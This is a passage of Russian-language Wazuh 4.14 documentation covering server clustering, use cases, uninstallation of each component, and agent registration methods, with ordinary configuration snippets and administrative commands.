  <disabled>no</disabled>
</cluster>
```

После изменения конфигурации перезапустите менеджер:

```bash
systemctl restart wazuh-manager
```

## Синхронизация между узлами

Master-узел автоматически распространяет определенные файлы и данные на все worker-узлы. Синхронизация обеспечивает единообразие конфигурации анализа событий на всех узлах кластера.

### Синхронизируемые данные

**От master к worker:**

| Категория | Файлы/данные | Описание |
|---|---|---|
| Правила | `/var/ossec/etc/rules/local_rules.xml` и пользовательские правила | Правила детектирования угроз |
| Декодеры | `/var/ossec/etc/decoders/local_decoder.xml` и пользовательские декодеры | Парсеры логов |
| CDB-списки | `/var/ossec/etc/lists/` | Списки для дополнительной классификации |
| Конфигурация групп | `/var/ossec/etc/shared/` | Конфигурации agent.conf для групп агентов |
| Пользовательские файлы | Файлы, добавленные в директории правил и декодеров | Все содержимое директорий `etc/rules` и `etc/decoders` |

**От worker к master:**

| Категория | Данные | Описание |
|---|---|---|
| Информация об агентах | Статус, версия, ОС агентов | Данные о подключенных к worker-узлу агентах |
| Статус агентов | Время последнего подключения, keepalive | Оперативная информация о состоянии агентов |
| Группы агентов | Принадлежность агента к группам | Синхронизация назначений групп |

### Механизм синхронизации

Синхронизация работает по модели push от master-узла. При изменении файлов на master-узле вычисляется контрольная сумма, и измененные файлы передаются на все worker-узлы. Worker-узлы не могут инициировать распространение конфигурации - изменения правил и декодеров должны выполняться только на master-узле.

Интервал проверки синхронизации по умолчанию составляет 10 секунд. В течение этого времени master-узел сравнивает контрольные суммы файлов и определяет необходимость обновления.

## Добавление и удаление узлов

### Добавление worker-узла

1. Установите Wazuh менеджер на новом сервере.

2. Настройте блок `<cluster>` в `/var/ossec/etc/ossec.conf`:

```xml
<cluster>
  <name>production-cluster</name>
  <node_name>worker-02</node_name>
  <node_type>worker</node_type>
  <key>a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6</key>
  <port>1516</port>
  <bind_addr>0.0.0.0</bind_addr>
  <nodes>
    <node>192.168.1.10</node>
  </nodes>
  <hidden>no</hidden>
  <disabled>no</disabled>
</cluster>
```

3. Убедитесь, что порт 1516/TCP открыт между новым узлом и master-узлом.

4. Запустите менеджер:

```bash
systemctl start wazuh-manager
```

5. Проверьте подключение узла:

```bash
/var/ossec/bin/cluster_control -l
```

### Удаление worker-узла

1. Переназначьте агентов с удаляемого worker-узла на другие узлы.

2. Остановите менеджер на удаляемом узле:

```bash
systemctl stop wazuh-manager
```

3. Убедитесь, что узел исчез из списка:

```bash
/var/ossec/bin/cluster_control -l
```

Master-узел автоматически определяет отключение worker-узла и обновляет список активных узлов.

## Балансировка агентов между worker-узлами

### Назначение агентов

Агенты могут подключаться к любому узлу кластера (master или worker). Для балансировки нагрузки рекомендуется использовать внешний балансировщик нагрузки (HAProxy, Nginx, AWS NLB), который распределяет входящие подключения агентов по worker-узлам.

### Конфигурация через DNS Round-Robin

Простейший вариант балансировки - DNS-запись с несколькими A-записями:

```
wazuh-cluster.example.com  A  192.168.1.11  ; worker-01
wazuh-cluster.example.com  A  192.168.1.12  ; worker-02
wazuh-cluster.example.com  A  192.168.1.13  ; worker-03
```

В конфигурации агента (`ossec.conf`) укажите DNS-имя:

```xml
<client>
  <server>
    <address>wazuh-cluster.example.com</address>
    <port>1514</port>
    <protocol>tcp</protocol>
  </server>
</client>
```

### Конфигурация через HAProxy

Для более контролируемой балансировки используйте HAProxy:

```
frontend wazuh_agents
    bind *:1514
    mode tcp
    default_backend wazuh_workers

backend wazuh_workers
    mode tcp
    balance roundrobin
    server worker-01 192.168.1.11:1514 check
    server worker-02 192.168.1.12:1514 check
    server worker-03 192.168.1.13:1514 check
```

Подробнее о настройке балансировки см. в документации [HAProxy для pfSense](/docs/pfsense/) или аналогичных решений.

### Рекомендации по распределению

- Направляйте агентов преимущественно на worker-узлы, а не на master
- Master-узел обрабатывает кластерную синхронизацию и API-запросы, поэтому назначение большого количества агентов на master снижает производительность
- Следите за равномерным распределением агентов между worker-узлами с помощью `cluster_control`

## Утилита cluster_control

Утилита `/var/ossec/bin/cluster_control` предоставляет интерфейс командной строки для мониторинга и управления кластером.

### Просмотр состояния кластера

```bash
# Список всех узлов кластера
/var/ossec/bin/cluster_control -l
```

Пример вывода:

```
NAME          TYPE    VERSION  ADDRESS        
master-node   master  4.14.3   192.168.1.10
worker-01     worker  4.14.3   192.168.1.11
worker-02     worker  4.14.3   192.168.1.12
```

### Просмотр распределения агентов

```bash
# Показать количество агентов на каждом узле
/var/ossec/bin/cluster_control -a
```

Пример вывода:

```
NAME          AGENTS  
master-node   15
worker-01     245
worker-02     240
```

### Дополнительные команды

```bash
# Подробная информация о конкретном узле
/var/ossec/bin/cluster_control -i worker-01

# Проверка состояния синхронизации
/var/ossec/bin/cluster_control -l -fn

# Вывод справки
/var/ossec/bin/cluster_control -h
```

### Мониторинг через REST API

Состояние кластера также доступно через [REST API](/docs/wazuh/infrastructure/wazuh-server-api/):

```bash
# Получение JWT-токена
TOKEN=$(curl -sk -u wazuh-wui:password \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

# Информация об узлах кластера
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/cluster/nodes?pretty=true"

# Состояние кластера
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/cluster/status?pretty=true"

# Распределение агентов по узлам
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?pretty=true&select=node_name&limit=500"
```

## Настройка производительности

### Рекомендации по количеству агентов

Количество агентов, которое может обслужить один узел, зависит от аппаратных ресурсов и интенсивности генерации событий (EPS - Events Per Second).

| Ресурсы узла (CPU/RAM) | Рекомендуемое число агентов | Примерный EPS |
|---|---|---|
| 2 CPU / 4 ГБ | До 50 | До 100 |
| 4 CPU / 8 ГБ | До 200 | До 500 |
| 8 CPU / 16 ГБ | До 1000 | До 2500 |
| 16 CPU / 32 ГБ | До 5000 | До 10000 |

### Оптимизация master-узла

Master-узел обрабатывает синхронизацию и API-запросы. Для оптимизации:

- Минимизируйте количество агентов, подключенных к master-узлу
- Выделите master-узлу достаточно ресурсов для синхронизации (особенно важно при большом количестве пользовательских правил и декодеров)
- Разместите master-узел и worker-узлы в одной сети для минимизации задержки синхронизации

### Настройка Filebeat

Каждый узел кластера передает данные в [индексатор](/docs/wazuh/infrastructure/wazuh-indexer-cluster/) через Filebeat. Убедитесь, что Filebeat настроен на каждом узле и указывает на кластер индексатора:

```yaml
output.elasticsearch:
  hosts:
    - "192.168.1.20:9200"
    - "192.168.1.21:9200"
    - "192.168.1.22:9200"
  protocol: https
  username: admin
  password: "${INDEXER_PASSWORD}"
  ssl.certificate_authorities:
    - /etc/filebeat/certs/root-ca.pem
```

## Сравнение с другими SIEM-системами

### Splunk Indexer Clustering

| Характеристика | Wazuh Server Cluster | Splunk Indexer Cluster |
|---|---|---|
| Модель | Master/Worker | Cluster Manager/Peers |
| Функция master | Синхронизация конфигурации | Управление репликацией данных |
| Балансировка | Внешний балансировщик (HAProxy) | Встроенный (forwarder affinity) |
| Синхронизация | Правила, декодеры, списки | Бандлы конфигурации |
| Стоимость | Бесплатно (open source) | Коммерческая лицензия |

### ELK Coordinating Nodes

| Характеристика | Wazuh Server Cluster | ELK Stack |
|---|---|---|
| Анализ событий | На серверном кластере | На уровне Logstash |
| Кластеризация | Встроенная | Отдельная для каждого компонента |
| Конфигурация | Единый ossec.conf | Раздельные конфигурации ES, Logstash, Kibana |
| Детектирование | Правила и декодеры | ElastAlert / Detection Rules (отдельный проект) |

## Устранение неполадок

### Узел не присоединяется к кластеру

**Симптомы:** worker-узел не появляется в `cluster_control -l`.

**Проверки:**

1. Убедитесь, что ключ (`key`) идентичен на master и worker узлах.

2. Проверьте сетевую доступность порта 1516/TCP:

```bash
nc -zv 192.168.1.10 1516
```

3. Проверьте имя кластера (`name`) - оно должно совпадать на всех узлах.

4. Просмотрите лог кластера:

```bash
tail -f /var/ossec/logs/cluster.log
```

5. Убедитесь, что параметр `disabled` установлен в `no`.

### Проблемы синхронизации

**Симптомы:** изменения правил на master не применяются на worker-узлах.

**Проверки:**

1. Проверьте статус синхронизации:

```bash
/var/ossec/bin/cluster_control -l -fn
```

2. Убедитесь, что изменения внесены на master-узле (не на worker).

3. Просмотрите лог кластера на наличие ошибок синхронизации:

```bash
grep -i "error\|sync" /var/ossec/logs/cluster.log | tail -20
```

4. Дождитесь интервала синхронизации (по умолчанию 10 секунд) или перезапустите менеджер.

### Split-brain (расщепление кластера)

**Симптомы:** worker-узлы не видят master, агенты подключены, но алерты не генерируются корректно.

**Причины:**

- Потеря сетевого соединения между узлами
- Перегрузка master-узла
- Неверная конфигурация сетевых интерфейсов (`bind_addr`)

**Решение:**

1. Восстановите сетевое соединение между узлами.

2. Перезапустите worker-узлы после восстановления связи:

```bash
systemctl restart wazuh-manager
```

3. Проверьте целостность кластера:

```bash
/var/ossec/bin/cluster_control -l
```

### Высокое потребление ресурсов при синхронизации

**Симптомы:** master-узел испытывает пиковые нагрузки на CPU/RAM при большом количестве пользовательских правил.

**Решение:**

- Сократите количество пользовательских правил и декодеров, объединяя дублирующиеся
- Увеличьте ресурсы master-узла
- Проверьте, что не происходит циклическая синхронизация (изменения вносятся только на master)

Для общего обзора инфраструктурных компонентов обратитесь к [разделу инфраструктуры Wazuh](/docs/wazuh/infrastructure/). Информация о компонентах платформы доступна в разделе [архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/).


---

# Сценарии использования Wazuh - 12 задач безопасности

Source: https://opennix.org/docs/wazuh/getting-started/wazuh-use-cases/


Wazuh решает широкий спектр задач информационной безопасности - от мониторинга целостности файлов до защиты облачной инфраструктуры. На этой странице описаны двенадцать основных сценариев использования платформы с указанием задействованных модулей и компонентов. Каждый сценарий может использоваться самостоятельно или в сочетании с другими для построения комплексной системы защиты.

## Обнаружение вредоносного ПО

Wazuh обнаруживает вредоносное программное обеспечение через несколько механизмов: интеграция модуля FIM с движком YARA для сигнатурного анализа файлов, сбор и анализ логов антивирусных решений (ClamAV, Windows Defender), проверка хешей файлов через VirusTotal API и обнаружение руткитов модулем Rootcheck. Комбинация этих подходов обеспечивает многоуровневую защиту от известных и неизвестных угроз.

**Задействованные модули:** File Integrity Monitoring, Rootcheck, Log Collector, Active Response

**Применение:** обнаружение троянов, бэкдоров, руткитов, шифровальщиков и другого вредоносного ПО на конечных точках. Автоматическое реагирование позволяет изолировать зараженный файл или заблокировать вредоносный процесс.

Подробнее: [Обнаружение вредоносного ПО](/docs/wazuh/capabilities/wazuh-malware-detection/)

## Мониторинг целостности файлов (FIM)

Модуль File Integrity Monitoring отслеживает создание, изменение и удаление файлов в указанных директориях. FIM фиксирует изменения атрибутов файлов (размер, права доступа, владелец, хеш-сумма) и генерирует алерты при обнаружении несанкционированных модификаций. На Windows дополнительно поддерживается мониторинг ключей реестра.

**Задействованные модули:** File Integrity Monitoring, SCA (для проверки прав доступа)

**Применение:** контроль целостности конфигурационных файлов, системных библиотек, исполняемых файлов и критических данных. Обязательный компонент для соответствия PCI DSS (требование 11.5) и другим стандартам.

Подробнее: [Мониторинг целостности файлов](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/)

## Поиск угроз (Threat Hunting)

Wazuh предоставляет инструменты для проактивного поиска угроз в инфраструктуре. Маппинг алертов на матрицу MITRE ATT&CK позволяет выявлять тактики и техники атакующих. CDB-списки обеспечивают проверку индикаторов компрометации (IoC) в реальном времени. Дашборд Wazuh предоставляет интерфейс для поиска по событиям с фильтрацией по агентам, правилам, временным интервалам и произвольным полям.

**Задействованные модули:** Log Collector, правила обнаружения, CDB-списки, MITRE ATT&CK маппинг

**Применение:** расследование инцидентов, поиск признаков компрометации, анализ поведения пользователей и систем, выявление lateral movement и persistence-техник.

Подробнее: [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) (раздел о движке анализа)

## Обнаружение уязвимостей

Модуль Vulnerability Detector сопоставляет данные инвентаризации (установленные пакеты, версии ОС) с базами известных уязвимостей: NVD (National Vulnerability Database), базы Red Hat, Canonical, Debian, Microsoft и другие. Результаты сканирования отображаются в дашборде с указанием CVSS-оценки, затронутых пакетов и доступных обновлений.

**Задействованные модули:** Syscollector, Vulnerability Detector

**Применение:** непрерывное сканирование инфраструктуры на наличие уязвимостей, приоритизация патчей по критичности, формирование отчетов для руководства и аудиторов.

Подробнее: [Обнаружение уязвимостей](/docs/wazuh/capabilities/wazuh-vulnerability-detection/)

## Оценка конфигурации безопасности (SCA)

Модуль Security Configuration Assessment проверяет конфигурацию систем на соответствие политикам безопасности. Wazuh включает готовые политики на основе CIS Benchmarks для Linux, Windows, macOS, Docker и других платформ. Администраторы могут создавать пользовательские политики для проверки специфических требований организации.

**Задействованные модули:** SCA, Syscollector

**Применение:** hardening серверов и рабочих станций, проверка соответствия корпоративным стандартам, автоматический аудит конфигурации при развертывании новых систем.

Подробнее: [Оценка конфигурации](/docs/wazuh/capabilities/wazuh-sca/)

## Реагирование на инциденты

Wazuh поддерживает автоматическое реагирование на обнаруженные угрозы через модуль Active Response. При срабатывании правила с определенным уровнем критичности сервер может отправить команду на агент для выполнения ответного действия: блокировка IP-адреса атакующего, остановка подозрительного процесса, отключение учетной записи или выполнение пользовательского скрипта.

**Задействованные модули:** Active Response, правила обнаружения, интеграции (Slack, PagerDuty, TheHive)

**Применение:** автоматическая блокировка атак brute-force, изоляция скомпрометированных хостов, оповещение SOC-команды через мессенджеры и тикет-системы.

Подробнее: [Активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/)

## Соответствие нормативным требованиям

Wazuh предоставляет встроенные дашборды и отчеты для демонстрации соответствия стандартам PCI DSS, GDPR, HIPAA, NIST 800-53 и TSC. Каждое правило обнаружения может быть привязано к конкретным требованиям стандартов. Модули FIM, SCA и Log Collector обеспечивают сбор доказательной базы для аудиторов.

**Задействованные модули:** все модули платформы (FIM, SCA, Log Collector, Vulnerability Detector)

**Применение:** подготовка к аудитам PCI DSS и HIPAA, ведение журналов аудита для GDPR, демонстрация соответствия контролям NIST 800-53, формирование отчетов для регуляторов.

Подробнее: [PCI DSS](/docs/wazuh/compliance/wazuh-pci-dss/), [GDPR](/docs/wazuh/compliance/wazuh-gdpr/), [HIPAA](/docs/wazuh/compliance/wazuh-hipaa/)

## Облачная безопасность

Wazuh обеспечивает мониторинг безопасности облачных сред через интеграцию с API облачных провайдеров. Для AWS поддерживается анализ CloudTrail, GuardDuty, VPC Flow Logs и AWS Config. Для Azure - Activity Log, Microsoft Entra ID и Azure Security Center. Для GCP - Cloud Audit Logs и Security Command Center. Агенты Wazuh устанавливаются на облачные виртуальные машины для мониторинга на уровне операционной системы.

**Задействованные модули:** Log Collector (интеграции с облачными API), все модули агента на облачных ВМ

**Применение:** мониторинг несанкционированных изменений в облачной инфраструктуре, обнаружение подозрительной активности в облачных учетных записях, соответствие cloud-specific стандартам безопасности.

Подробнее: [AWS](/docs/wazuh/cloud-security/wazuh-aws-monitoring/), [Azure](/docs/wazuh/cloud-security/wazuh-azure-monitoring/), [GCP](/docs/wazuh/cloud-security/wazuh-gcp-monitoring/)

## Безопасность контейнеров

Wazuh мониторит контейнерные среды на двух уровнях: на уровне хостовой ОС (через агент) и на уровне Docker Engine (через модуль Docker Listener). Агент отслеживает события создания, запуска, остановки и удаления контейнеров, изменения образов и сетевых конфигураций. Для Kubernetes Wazuh анализирует audit logs кластера и события управляющих компонентов.

**Задействованные модули:** Docker Listener, Log Collector, FIM, SCA

**Применение:** обнаружение запуска привилегированных контейнеров, мониторинг изменений в Docker-образах, анализ Kubernetes audit logs, проверка конфигурации Docker по стандартам CIS Docker Benchmark.

Подробнее: [Безопасность контейнеров](/docs/wazuh/capabilities/wazuh-container-security/)

## Анализ журналов

Wazuh собирает и анализирует журналы из множества источников: системные логи (syslog, Windows Event Log), логи приложений (Apache, Nginx, MySQL, PostgreSQL), логи безопасности (аутентификация, авторизация, sudo) и пользовательские форматы. Декодеры извлекают структурированные поля из сырых логов, а правила обнаружения выявляют аномалии и угрозы.

**Задействованные модули:** Log Collector, декодеры, правила обнаружения

**Применение:** централизованный сбор логов со всей инфраструктуры, обнаружение ошибок и аномалий в работе приложений, корреляция событий из разных источников, долгосрочное хранение для расследований.

Подробнее: [Анализ журналов](/docs/wazuh/capabilities/wazuh-log-data-collection/)

## Обнаружение вторжений

Wazuh выполняет функции системы обнаружения вторжений (IDS) на основе хостовых данных (HIDS). Правила обнаружения выявляют попытки brute-force атак, эскалации привилегий, несанкционированного доступа и эксплуатации уязвимостей. Маппинг на MITRE ATT&CK обеспечивает контекст о тактиках и техниках атакующих. Интеграция с CDB-списками позволяет проверять IP-адреса, домены и хеши файлов по спискам известных угроз.

**Задействованные модули:** правила обнаружения, CDB-списки, Log Collector, Active Response

**Применение:** обнаружение brute-force атак на SSH/RDP, выявление попыток privilege escalation, мониторинг web-shell активности, обнаружение lateral movement в сети.

Подробнее: [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/) (раздел о движке анализа)

## Аналитика безопасности

Wazuh Dashboard предоставляет инструменты визуальной аналитики для данных безопасности. Встроенные дашборды отображают статистику алертов по уровням критичности, распределение по агентам, MITRE ATT&CK heatmap и тренды по времени. Инструмент Dev Tools позволяет выполнять произвольные запросы к индексатору для глубокого анализа. Отчеты могут генерироваться в формате PDF по расписанию.

**Задействованные модули:** Wazuh Dashboard, Wazuh Indexer, все модули платформы (в качестве источников данных)

**Применение:** построение SOC-дашбордов для мониторинга в реальном времени, анализ трендов безопасности за продолжительные периоды, формирование отчетов для руководства и регуляторов.

Подробнее: [Документация Wazuh](/docs/wazuh/) (полный перечень разделов)

## Выбор сценариев для внедрения

При планировании внедрения Wazuh рекомендуется начать с базовых сценариев и постепенно расширять покрытие:

1. **Первый этап** - анализ журналов, обнаружение вторжений, FIM
2. **Второй этап** - обнаружение уязвимостей, SCA, реагирование на инциденты
3. **Третий этап** - облачная безопасность, контейнеры, compliance
4. **Четвертый этап** - threat hunting, аналитика, интеграции с внешними системами

Для начала работы с платформой обратитесь к разделу [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) и [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/).


---

# Удаление Wazuh 4.14 - пошаговое руководство

Source: https://opennix.org/docs/wazuh/installation/wazuh-uninstalling/


Данное руководство описывает процедуру корректного удаления компонентов Wazuh 4.14. Удаление может быть частичным (только пакеты) или полным (пакеты + данные + конфигурация). Порядок удаления: сначала агенты, затем дашборд, сервер и индексатор.

## Удаление установки через assisted installer

Если Wazuh был установлен с помощью скрипта `wazuh-install.sh` (all-in-one), используйте встроенную команду удаления:

```bash
sudo bash ./wazuh-install.sh -u
```

Эта команда удалит все центральные компоненты и очистит конфигурацию. Для ручного удаления отдельных компонентов используйте инструкции ниже.

## Удаление Wazuh Agent

### Linux (DEB - Ubuntu/Debian)

**Остановка службы:**

```bash
systemctl stop wazuh-agent
systemctl disable wazuh-agent
```

**Удаление пакета (сохранение конфигурации):**

```bash
apt-get remove wazuh-agent
```

**Полное удаление (пакет + конфигурация):**

```bash
apt-get purge wazuh-agent
```

**Очистка оставшихся файлов:**

```bash
rm -rf /var/ossec
rm -f /etc/apt/sources.list.d/wazuh.list
rm -f /usr/share/keyrings/wazuh.gpg
```

### Linux (RPM - CentOS/RHEL)

**Остановка службы:**

```bash
systemctl stop wazuh-agent
systemctl disable wazuh-agent
```

**Удаление пакета:**

```bash
yum remove wazuh-agent    # CentOS/RHEL 8 и ранее
dnf remove wazuh-agent    # RHEL 9+ / CentOS Stream 10
```

**Очистка оставшихся файлов:**

```bash
rm -rf /var/ossec
rm -f /etc/yum.repos.d/wazuh.repo
```

### Windows

**Остановка службы:**

```cmd
NET STOP WazuhSvc
```

**Удаление через командную строку (тихое):**

```cmd
msiexec /x wazuh-agent-4.14.4-1.msi /q
```

Или через Панель управления: Программы и компоненты - Wazuh Agent - Удалить.

**Очистка оставшихся файлов:**

```powershell
Remove-Item -Recurse -Force "C:\Program Files (x86)\ossec-agent"
```

### macOS

**Остановка службы:**

```bash
sudo launchctl bootout system /Library/LaunchDaemons/com.wazuh.agent.plist
```

**Удаление файлов:**

```bash
sudo rm -rf /Library/Ossec
sudo rm -f /Library/LaunchDaemons/com.wazuh.agent.plist
sudo rm -rf /Library/StartupItems/WAZUH
```

**Удаление записи из pkgutil:**

```bash
sudo pkgutil --forget com.wazuh.agent
```

## Удаление Wazuh Dashboard

### Ubuntu / Debian

**Остановка службы:**

```bash
systemctl stop wazuh-dashboard
systemctl disable wazuh-dashboard
```

**Удаление пакета:**

```bash
apt-get remove wazuh-dashboard
```

**Полное удаление:**

```bash
apt-get purge wazuh-dashboard
```

**Очистка оставшихся файлов:**

```bash
rm -rf /etc/wazuh-dashboard
rm -rf /usr/share/wazuh-dashboard
rm -rf /var/log/wazuh-dashboard
```

### CentOS / RHEL

**Остановка службы:**

```bash
systemctl stop wazuh-dashboard
systemctl disable wazuh-dashboard
```

**Удаление пакета:**

```bash
yum remove wazuh-dashboard    # RHEL 8 и ранее
dnf remove wazuh-dashboard    # RHEL 9+
```

**Очистка оставшихся файлов:**

```bash
rm -rf /etc/wazuh-dashboard
rm -rf /usr/share/wazuh-dashboard
rm -rf /var/log/wazuh-dashboard
```

## Удаление Wazuh Server (Manager + Filebeat)

### Ubuntu / Debian

**Остановка служб:**

```bash
systemctl stop filebeat
systemctl stop wazuh-manager
systemctl disable filebeat
systemctl disable wazuh-manager
```

**Удаление пакетов:**

```bash
apt-get remove wazuh-manager filebeat
```

**Полное удаление:**

```bash
apt-get purge wazuh-manager filebeat
```

**Очистка оставшихся файлов:**

```bash
rm -rf /var/ossec
rm -rf /etc/filebeat
rm -rf /var/lib/filebeat
rm -rf /usr/share/filebeat
```

### CentOS / RHEL

**Остановка служб:**

```bash
systemctl stop filebeat
systemctl stop wazuh-manager
systemctl disable filebeat
systemctl disable wazuh-manager
```

**Удаление пакетов:**

```bash
yum remove wazuh-manager filebeat    # RHEL 8 и ранее
dnf remove wazuh-manager filebeat    # RHEL 9+
```

**Очистка оставшихся файлов:**

```bash
rm -rf /var/ossec
rm -rf /etc/filebeat
rm -rf /var/lib/filebeat
rm -rf /usr/share/filebeat
```

## Удаление Wazuh Indexer

### Ubuntu / Debian

**Остановка службы:**

```bash
systemctl stop wazuh-indexer
systemctl disable wazuh-indexer
```

**Удаление пакета:**

```bash
apt-get remove wazuh-indexer
```

**Полное удаление:**

```bash
apt-get purge wazuh-indexer
```

**Очистка оставшихся файлов (включая данные индексов):**

```bash
rm -rf /etc/wazuh-indexer
rm -rf /var/lib/wazuh-indexer
rm -rf /usr/share/wazuh-indexer
rm -rf /var/log/wazuh-indexer
```

### CentOS / RHEL

**Остановка службы:**

```bash
systemctl stop wazuh-indexer
systemctl disable wazuh-indexer
```

**Удаление пакета:**

```bash
yum remove wazuh-indexer    # RHEL 8 и ранее
dnf remove wazuh-indexer    # RHEL 9+
```

**Очистка оставшихся файлов:**

```bash
rm -rf /etc/wazuh-indexer
rm -rf /var/lib/wazuh-indexer
rm -rf /usr/share/wazuh-indexer
rm -rf /var/log/wazuh-indexer
```

## Очистка репозитория

После удаления всех компонентов удалите репозиторий Wazuh:

### Ubuntu / Debian

```bash
rm -f /etc/apt/sources.list.d/wazuh.list
rm -f /usr/share/keyrings/wazuh.gpg
apt-get update
```

### CentOS / RHEL

```bash
rm -f /etc/yum.repos.d/wazuh.repo
```

## Очистка сертификатов

Удалите архив сертификатов и сгенерированные файлы:

```bash
rm -f ./wazuh-certificates.tar
rm -f ./wazuh-install-files.tar
rm -rf ./wazuh-certificates
```

## Удаление пользователей и групп

После полной деинсталляции можно удалить системных пользователей и группы:

```bash
userdel wazuh
groupdel wazuh
userdel wazuh-indexer
groupdel wazuh-indexer
userdel wazuh-dashboard
groupdel wazuh-dashboard
```

## Частичное удаление

### Удаление только данных (сохранение конфигурации)

Для очистки данных индексатора без удаления компонентов:

```bash
systemctl stop wazuh-indexer
rm -rf /var/lib/wazuh-indexer/nodes
systemctl start wazuh-indexer
/usr/share/wazuh-indexer/bin/indexer-security-init.sh
```

### Удаление конкретных индексов

Для удаления только данных оповещений через API:

```bash
curl -k -u admin:<ADMIN_PASSWORD> \
  -X DELETE "https://localhost:9200/wazuh-alerts-*"
```

Для удаления данных за определенный период:

```bash
curl -k -u admin:<ADMIN_PASSWORD> \
  -X DELETE "https://localhost:9200/wazuh-alerts-4.x-2025.01.*"
```

## Проверка удаления

После удаления убедитесь, что все компоненты полностью удалены:

```bash
# Проверка отсутствия пакетов
dpkg -l | grep wazuh     # Ubuntu/Debian
rpm -qa | grep wazuh     # CentOS/RHEL

# Проверка отсутствия служб
systemctl list-units | grep wazuh

# Проверка отсутствия процессов
ps aux | grep -E "wazuh|ossec" | grep -v grep

# Проверка освобождения портов
ss -tlnp | grep -E "1514|1515|9200|443|55000"
```

## Дальнейшие шаги

- [Быстрый старт](/docs/wazuh/installation/wazuh-quickstart/) - повторная установка Wazuh
- [Обзор установки](/docs/wazuh/installation/) - выбор модели развертывания для новой установки


---

# Управление агентами Wazuh - регистрация и настройка

Source: https://opennix.org/docs/wazuh/infrastructure/wazuh-agent-management/


Агенты Wazuh устанавливаются на конечных точках и отвечают за сбор логов, мониторинг файловой системы, инвентаризацию системы и выполнение проверок безопасности. Управление агентами включает весь жизненный цикл - от регистрации и назначения групп до централизованной конфигурации, обновления и вывода из эксплуатации. При масштабных развертываниях критически важна автоматизация регистрации и конфигурации через Ansible, GPO или cloud-init. В этом руководстве рассмотрены все аспекты управления агентами Wazuh 4.14.

## Жизненный цикл агента

Каждый агент Wazuh проходит через определенные состояния в процессе работы.

### Состояния агента

| Состояние | Описание |
|---|---|
| **Pending** | Агент зарегистрирован, но еще не подключался к менеджеру |
| **Active** | Агент подключен и передает данные |
| **Disconnected** | Агент потерял связь с менеджером (по умолчанию через 10 минут без heartbeat) |
| **Never connected** | Агент зарегистрирован, но ни разу не устанавливал соединение |

### Диаграмма жизненного цикла

```
Установка → Регистрация → Pending → Active ←→ Disconnected
                                                    ↓
                                               Removed
```

### Проверка состояния

Через API:

```bash
TOKEN=$(curl -sk -u wazuh-wui:$PASSWORD \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?status=active&limit=10" | jq '.data.affected_items[] | {id,name,status,ip}'
```

Через CLI на менеджере:

```bash
/var/ossec/bin/agent_control -l

# Подробная информация об агенте
/var/ossec/bin/agent_control -i 001
```

Через файл состояния на агенте:

```bash
cat /var/ossec/var/run/wazuh-agentd.state
```

### Настройка времени отключения

По умолчанию агент считается отключенным через 600 секунд (10 минут). Изменение в `ossec.conf` на менеджере:

```xml
<ossec_config>
  <global>
    <agents_disconnection_time>300</agents_disconnection_time>
    <agents_disconnection_alert_time>60</agents_disconnection_alert_time>
  </global>
</ossec_config>
```

## Методы регистрации агентов

### Регистрация через конфигурацию агента

Самый распространенный метод. Агент автоматически регистрируется при первом подключении к менеджеру.

На агенте Linux:

```xml
<!-- /var/ossec/etc/ossec.conf -->
<ossec_config>
  <client>
    <server>
      <address>192.168.1.5</address>
      <port>1514</port>
      <protocol>tcp</protocol>
    </server>
    <enrollment>
      <enabled>yes</enabled>
      <manager_address>192.168.1.5</manager_address>
      <port>1515</port>
      <agent_name>web-server-01</agent_name>
      <groups>linux,web-servers</groups>
    </enrollment>
  </client>
</ossec_config>
```

На агенте Windows (при установке):

```powershell
Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.4-1.msi -OutFile wazuh-agent.msi

msiexec.exe /i wazuh-agent.msi /q `
  WAZUH_MANAGER="192.168.1.5" `
  WAZUH_AGENT_NAME="win-server-01" `
  WAZUH_AGENT_GROUP="windows,servers" `
  WAZUH_REGISTRATION_SERVER="192.168.1.5"
```

### Регистрация с паролем

Для защиты процесса регистрации можно настроить парольную аутентификацию.

На менеджере создайте файл с паролем:

```bash
echo "MySecurePassword" > /var/ossec/etc/authd.pass
chmod 640 /var/ossec/etc/authd.pass
chown root:wazuh /var/ossec/etc/authd.pass
```

Включите парольную аутентификацию в `ossec.conf`:

```xml
<ossec_config>
  <auth>
    <use_password>yes</use_password>
  </auth>
</ossec_config>
```

На агенте укажите пароль:

```xml
<enrollment>
  <enabled>yes</enabled>
  <manager_address>192.168.1.5</manager_address>
  <authorization_pass_path>/var/ossec/etc/authd.pass</authorization_pass_path>
</enrollment>
```

### Регистрация через сертификаты

Сертификатная аутентификация обеспечивает взаимную верификацию агента и менеджера.

На менеджере:

```xml
<ossec_config>
  <auth>
    <ssl_agent_ca>/var/ossec/etc/rootCA.pem</ssl_agent_ca>
    <ssl_verify_host>yes</ssl_verify_host>
  </auth>
</ossec_config>
```

На агенте:

```xml
<enrollment>
  <enabled>yes</enabled>
  <manager_address>192.168.1.5</manager_address>
  <agent_certificate_path>/var/ossec/etc/agent.cert</agent_certificate_path>
  <agent_key_path>/var/ossec/etc/agent.key</agent_key_path>
  <server_ca_path>/var/ossec/etc/rootCA.pem</server_ca_path>
</enrollment>
```

### Регистрация через Wazuh API

Двухэтапный процесс: запрос ключа через API и импорт на агенте.

```bash
# Шаг 1: Получение ключа через API
TOKEN=$(curl -sk -u wazuh-wui:$PASSWORD \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

KEY=$(curl -sk -H "Authorization: Bearer $TOKEN" \
  -X POST "https://localhost:55000/agents" \
  -H "Content-Type: application/json" \
  -d '{"name":"api-agent-01","ip":"any"}' | jq -r '.data.key')

# Шаг 2: Импорт ключа на агенте
/var/ossec/bin/manage_agents -i "$KEY"

# Шаг 3: Запуск агента
systemctl start wazuh-agent
```

